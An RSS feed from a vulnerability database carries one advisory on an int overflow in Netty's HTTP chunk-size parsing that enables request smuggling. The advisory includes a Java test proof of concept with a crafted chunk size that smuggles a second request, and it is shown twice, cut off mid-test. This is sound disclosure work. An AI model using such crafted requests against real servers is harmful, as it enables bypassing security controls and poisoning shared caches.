<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 11:50:43 +0000</lastBuildDate>
    <item>
      <title>GHSA-m4cv-j2px-7723 — Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-m4cv-j2px-7723</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Maven: io.netty:netty-codec-http&lt;/p&gt;
&lt;p&gt;### Summary
Netty&amp;#39;s chunk size parser silently overflows int, enabling request smuggling attacks.&lt;/p&gt;
&lt;p&gt;### Details
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.&lt;/p&gt;
&lt;p&gt;The size is accumulated as follows:&lt;/p&gt;
&lt;p&gt;result *= 16;
result += digit;&lt;/p&gt;
&lt;p&gt;The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.&lt;/p&gt;
&lt;p&gt;### PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.&lt;/p&gt;
&lt;p&gt;```java
@Test
public void test() {
    String requestStr = &amp;#34;POST / HTTP/1.1\r\n&amp;#34; +
            &amp;#34;Host: localhost\r\n&amp;#34; +
            &amp;#34;Transfer-Encoding: chunked\r\n\r\n&amp;#34; +
            &amp;#34;100000004\r\n&amp;#34; +
            &amp;#34;test\r\n&amp;#34; +
            &amp;#34;0\r\n&amp;#34; +
            &amp;#34;\r\n&amp;#34; +
            &amp;#34;GET /smuggled HTTP/1.1\r\n&amp;#34; +
            &amp;#34;Host: localhost\r\n&amp;#34; +
            &amp;#34;Content-Length: 0\r\n&amp;#34; +
            &amp;#34;\r\n&amp;#34;;&lt;/p&gt;
&lt;p&gt;EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));&lt;/p&gt;
&lt;p&gt;// Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals(&amp;#34;test&amp;#34;, content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Maven: io.netty:netty-codec-http&lt;/p&gt;
&lt;p&gt;### Summary
Netty&amp;#39;s chunk size parser silently overflows int, enabling request smuggling attacks.&lt;/p&gt;
&lt;p&gt;### Details
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.&lt;/p&gt;
&lt;p&gt;The size is accumulated as follows:&lt;/p&gt;
&lt;p&gt;result *= 16;
result += digit;&lt;/p&gt;
&lt;p&gt;The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.&lt;/p&gt;
&lt;p&gt;### PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.&lt;/p&gt;
&lt;p&gt;```java
@Test
public void test() {
    String requestStr = &amp;#34;POST / HTTP/1.1\r\n&amp;#34; +
            &amp;#34;Host: localhost\r\n&amp;#34; +
            &amp;#34;Transfer-Encoding: chunked\r\n\r\n&amp;#34; +
            &amp;#34;100000004\r\n&amp;#34; +
            &amp;#34;test\r\n&amp;#34; +
            &amp;#34;0\r\n&amp;#34; +
            &amp;#34;\r\n&amp;#34; +
            &amp;#34;GET /smuggled HTTP/1.1\r\n&amp;#34; +
            &amp;#34;Host: localhost\r\n&amp;#34; +
            &amp;#34;Content-Length: 0\r\n&amp;#34; +
            &amp;#34;\r\n&amp;#34;;&lt;/p&gt;
&lt;p&gt;EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));&lt;/p&gt;
&lt;p&gt;// Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals(&amp;#34;test&amp;#34;, content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-m4cv-j2px-7723</guid>
    </item>
  </channel>
</rss>
